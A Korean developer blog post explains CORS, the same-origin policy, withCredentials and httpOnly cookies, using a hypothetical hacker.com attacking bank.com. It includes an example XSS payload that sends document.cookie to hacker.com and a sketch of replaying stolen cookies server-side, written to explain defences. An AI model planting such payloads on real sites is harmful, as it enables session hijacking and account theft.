Post

CORS

CORS

CORS(Cross-Origin Resource Sharing)

나는 웹개발을 처음하면서 당황스러웠던 적이 몇번 있는데, 그중 한가지는 브라우져 콘솔창에서

1
2
3
XMLHttpRequest cannot load. No 'Access-Control-Allow-Origin'
header is present on the requested resource. Origin is therefore
not allowed access.

이런 메세지를 보았던 경우였다.

동료와 함께 작업하며, 각각의 서버를 따로 만들고 서로 통신해서 데이터를 주고 받자고 약속한뒤 domain1 에서 domain2 로 ajax api 통신을 하던중에 보던 메세지였다.

구글링을 통해 꼼수로 해결했지만, 왜 이런 정책이 존재하는가에 대해 궁금했었다.

same origin policy (동일 출처 정책)

HTTP 요청은 기본적으로 Cross-Site HTTP Requests가 가능하다. 다시 말하면, <img> 태그로 다른 도메인의 이미지 파일을 가져오거나, <link> 태그로 다른 도메인의 CSS를 가져오거나, <script> 태그로 다른 도메인의 JavaScript 라이브러리를 가져오는 것이 모두 가능하다.

하지만 <script></script> 로 둘러싸여 있는 스크립트에서 생성된 Cross-Site HTTP Requests는 Same Origin Policy를 적용 받기 때문에 Cross-Site HTTP Requests가 불가능하다.

그러니까, XMLhttpRequest(xhq)로 ajax 통신을 할때는, request header 에 origin 을 보내는데, 이것이 host와 다르다면 제한이 걸린다.

가정을 해보겠다.

우리는 hacker.com 으로 웹서버를 띄우고 index.html 을 간단히 만들어,(해커가 서버를 만들었다) hacker.com/index.html 을 브라우져로 성공적으로 열었다.(미끼가 해커의 웹사이트에 접속했다) 그런데 그 index.html 안에서 JQuery를 이용해

1
2
3
$.ajax({
  url: "http://bank.com/getUserPassword"
}).then(saveToHackersDB)

를 시도하게 된다.

클라이언트는 이미 bank.com 에 로그인한 상태라고 가정해보자, getUserPassword 는 session-cookie auth가 된 상태에만 가능한 API 이다. 그러던중 다른탭에서 hacker.com 에 들어가게 되고, 그안에서 저 API가 자동으로 호출된다면 어떻게 될까?

실제 bank.com 에서의 http call 은 이루어 진다. 실제로 HTTP request 는 bank.com 의 서버에 도착하게 되고, 정상처리 한다.

1
2
3
4
5
//(In bank.com server) HTTP Header
host: 'bank.com',
connection: 'keep-alive',
accept: '*/*',
origin: 'http://hacker.com',

식으로 bank.com 서버 로그 헤더에는 잘 전달 된다.

하지만 클라이언트에서는

1
2
3
XMLHttpRequest cannot load http://bank.com/getUserPassword.
No 'Access-Control-Allow-Origin' header is present on the requested resource.
Origin 'http://hacker.com' is therefore not allowed access.

같은 에러를 콘솔에서 만날수 있다.

bank.com 의 서버에는 잘 전달 되었는데 무슨 보안인가? 이 메세지를 보기 싫다고 ‘Access-Control-Allow-Origin’, ‘*’ 헤더 등을 서버에 설정하는 귀찮은 짓(CORS)을 왜 하는걸까?

이것은, 클라이언트(브라우져) 보안 정책이다. 크로스 도메인의 호출후에, 클라이언트 브라우져에 값을 받아와서, 읽어내는 것이 불가능 하다는것이다.

여기서 잠깐 히스토리를 알아본다면, AJAX가 널리 사용되면서 <script></script> 로 둘러싸여 있는 스크립트에서 생성되는 XMLHttpRequest에 대해서도 Cross-Site HTTP Requests가 가능해야 한다는 요구가 늘어나자 W3C에서 CORS(쉐어링)라는 이름의 권고안 XHR level 2 가 나오게 되었다.

또 추가로, XHR Level2 를 기반으로 하는 COR(Cross-Origin-Request) 는 기본적으로 쿠키 정보가 포함되지 않는데, XHR 2 객체에서 제공하는 withCredentials 속성을 사용하면 쿠키 정보가 포함된 리퀘스트를 발생 시킬 수 있다.

그렇기 때문에 동일출처원칙이 없다면, 해커가 withCredentials 로 요청을 하게 되고 브라우져에서 쿠키를 이용한 탈취가 가능하게 되는것이다.

Access-Control-Allow-Origin 헤더는 오리진 을 판단하는것이며, Access-Control-Allow-Credentials 헤더의 조건은 다음과 같다.

  • 쿠키 정보가 포함된 COR 에 대한 응답에는 반드시 Access-Control-Allow-Credentials : true 헤더가 포함되어 있어야 브라우저가 받아들일수 있다.
  • 해당 헤더가 포함된 응답은 Access-Control-Allow-Origin 헤더의 값에 와일드카드(*) 가 아닌 출처에 대한 정확한 도메인이 지정되어 있어야 한다.

좀 더 세부적인 옵션들이 많지만, 생략하겠다.

FYI) 서버코드를 수정하지 않고도(CORS 적용등) 클라이언트 브라우져 에서 값을 읽어내는것이 불가능한것은 아니다. 크롬 확장앱에 CORS 앱을 설치하거나, 크롬을 disable web security 옵션을 해주기만 해도 된다.(하지만 이것은 클라이언트 브라우져를 개인이 건드린다는 점에서 해커가 어찌할 도리가 없는 부분이다)

Same-Origin 정책은 도메인이 기원지를 나타낸다고 가정했을 때, 다른 도메인에서 온 웹 애플리케이션들을 고립시키는 현재 브라우저의 보호 메커니즘 중 하나이다.

동일출처정책은 보내고 받는 것을 구별하는데, 보낼때는 다른 출처가 가능하지만, 받을 때는 동일한 출처만 가능하다. 악의적인 웹사이트가 다른 웹사이트로부터 기밀 정보를 읽는 것을 막기위한 정책이다.

쿠키는 같은 도메인의 http 요청이 있을때 (어떤 API든) 함께 전송된다. 단, 쿠키는 포트로 도메인을 구분짓지 않는다.(Cookies do not provide isolation by port)

즉, localhost:3000에서 가져온 쿠키는 localhost:6666 으로도 전송된다.(로컬에서 실험하고 싶다면 localhost와 127.0.0.1 로 테스트 하라. 둘은 다른 도메인이다)

따라서, bank.com 의 쿠키는 hacker.com 으로 전송되지 못한다. 그렇기 때문에 해커는 자바스크립트의 document.cookie 에 접근하고 싶어하는 것이다.

쿠키는 httpOnly 옵션이 있을때 javascript 에서 직접 접근이 불가능하다. 만약, 이 옵션이 없다면 XSS 공격에 의해 bank.com 의 게시글에 교묘한 스크립트가 삽입된다면,

1
<img src='http://hacker.com/stealCookie?cookie'+document.cookie />

처럼 해커의 서버에 은행의 쿠키들이 수집 될수 있을것이다.

그럼 해커는 이 수집된 쿠키로 hacker.com 서버 안에서

1
2
request.setCookie(cookie)
request.get('http://bank.com/getUserPassword').then(res)

한다면, 동일출처정책을 피해서 해킹에 성공한다. 서버-서버간의 직접 통신은 동일출처정책이 적용되지 않기 때문이다.

FYI) Using HttpOnly cookies will prevent XSS attacks from getting those cookies. Unless your browser does not support HttpOnly. 브라우져가 httpOnly를 지원하지 않는다면 말짱 꽝이겠지만 말이다.

This post is licensed under CC BY 4.0 by the author.